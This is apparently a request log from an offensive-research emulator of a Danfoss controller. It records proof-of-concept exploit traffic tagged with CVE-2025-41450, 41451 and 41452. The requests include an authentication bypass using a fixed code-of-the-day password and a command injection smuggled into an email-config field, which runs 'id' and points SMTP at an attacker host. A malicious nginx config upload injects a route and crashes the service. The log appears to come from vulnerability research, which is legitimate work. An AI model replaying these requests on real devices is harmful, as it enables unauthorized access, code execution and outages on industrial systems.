{"ts": "2026-10-13T03:56:06.433174+00:00", "method": "POST", "path": "/xml.cgi?action=getauth", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Content-Length": "101", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Content-Type": "text/xml", "Connection": "close"}, "body": "<?xml version=\"1.0\"?><request><username>admin</username><password>wrong-password</password></request>", "tags": ["normal_auth"]}
{"ts": "2026-10-13T03:56:06.437357+00:00", "method": "POST", "path": "/xml.cgi?action=getauth", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Content-Length": "137", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Content-Type": "text/xml", "Connection": "close"}, "body": "<?xml version=\"1.0\"?><request><username>admin</username><password>147456</password><codeofday>1</codeofday><support>1</support></request>", "tags": ["cve_2025_41450_cotd_attempt", "cve_2025_41450_cotd_success"]}
{"ts": "2026-10-13T03:56:06.492819+00:00", "method": "POST", "path": "/xml.cgi?action=getauth", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Content-Length": "117", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Content-Type": "text/xml", "Connection": "close"}, "body": "<?xml version=\"1.0\"?><request><username>admin</username><password>147456</password><codeofday>1</codeofday></request>", "tags": ["cve_2025_41450_cotd_attempt", "cve_2025_41450_cotd_success"]}
{"ts": "2026-10-13T03:56:06.493556+00:00", "method": "POST", "path": "/xml.cgi?action=set_email_config", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Content-Length": "196", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "SMSession=643414a5ce8ecbd713f50fdcd0903ec0", "Connection": "close"}, "body": "smtp_server=smtp.attacker.example&smtp_port=25&smtp_user=alerts%40store.example&item_0x1be1=x%27%3B+id+%3E+captures%2Frce_proof_41451.txt+%23&from_addr=aksm%40store.example&alarm_to_mail_enabled=1", "tags": ["cve_2025_41451_email_config_save", "cve_2025_41451_shell_metachars", "constructed_cmd:/bin/echo 'x'; id > captures/rce_proof_41451.txt #' > /Users/msuiche/Documents/Projects/offensive-research/danfoss/emulator/state/.smtp_secret"]}
{"ts": "2026-10-13T03:56:06.562511+00:00", "method": "POST", "path": "/xml.cgi?action=getauth", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Content-Length": "117", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Content-Type": "text/xml", "Connection": "close"}, "body": "<?xml version=\"1.0\"?><request><username>admin</username><password>147456</password><codeofday>1</codeofday></request>", "tags": ["cve_2025_41450_cotd_attempt", "cve_2025_41450_cotd_success"]}
{"ts": "2026-10-13T03:56:06.563523+00:00", "method": "POST", "path": "/xml.cgi?action=load_nginx_headers", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Content-Length": "321", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Content-Type": "multipart/form-data; boundary=----poc41452boundary", "Cookie": "SMSession=f5d78038c55028ab0ad538ebd2d9257e", "Connection": "close"}, "body": "------poc41452boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"headers.conf\"\r\nContent-Type: application/octet-stream\r\n\r\n# PoC headers.conf - CVE-2025-41452\nadd_header X-PoC-41452 injected-always;\nlocation /poc-41452-trigger {\n    return 200 \"injected by cve-2025-41452 poc\";\n}\n\r\n------poc41452boundary--\r\n", "tags": ["cve_2025_41452_headers_conf_upload", "injected_locations:/poc-41452-trigger", "injected_headers:[('X-PoC-41452', 'injected-always')]"]}
{"ts": "2026-10-13T03:56:06.563982+00:00", "method": "GET", "path": "/", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Cookie": "SMSession=f5d78038c55028ab0ad538ebd2d9257e", "Connection": "close"}, "body": "", "tags": []}
{"ts": "2026-10-13T03:56:06.564393+00:00", "method": "GET", "path": "/poc-41452-trigger", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Connection": "close"}, "body": "", "tags": ["cve_2025_41452_injected_route_hit", "sm_app_crash"]}
{"ts": "2026-10-13T03:56:06.564825+00:00", "method": "GET", "path": "/", "client": "127.0.0.1", "headers": {"Accept-Encoding": "identity", "Host": "127.0.0.1:8080", "User-Agent": "Python-urllib/3.14", "Connection": "close"}, "body": "", "tags": ["svc_unavailable_during_crash"]}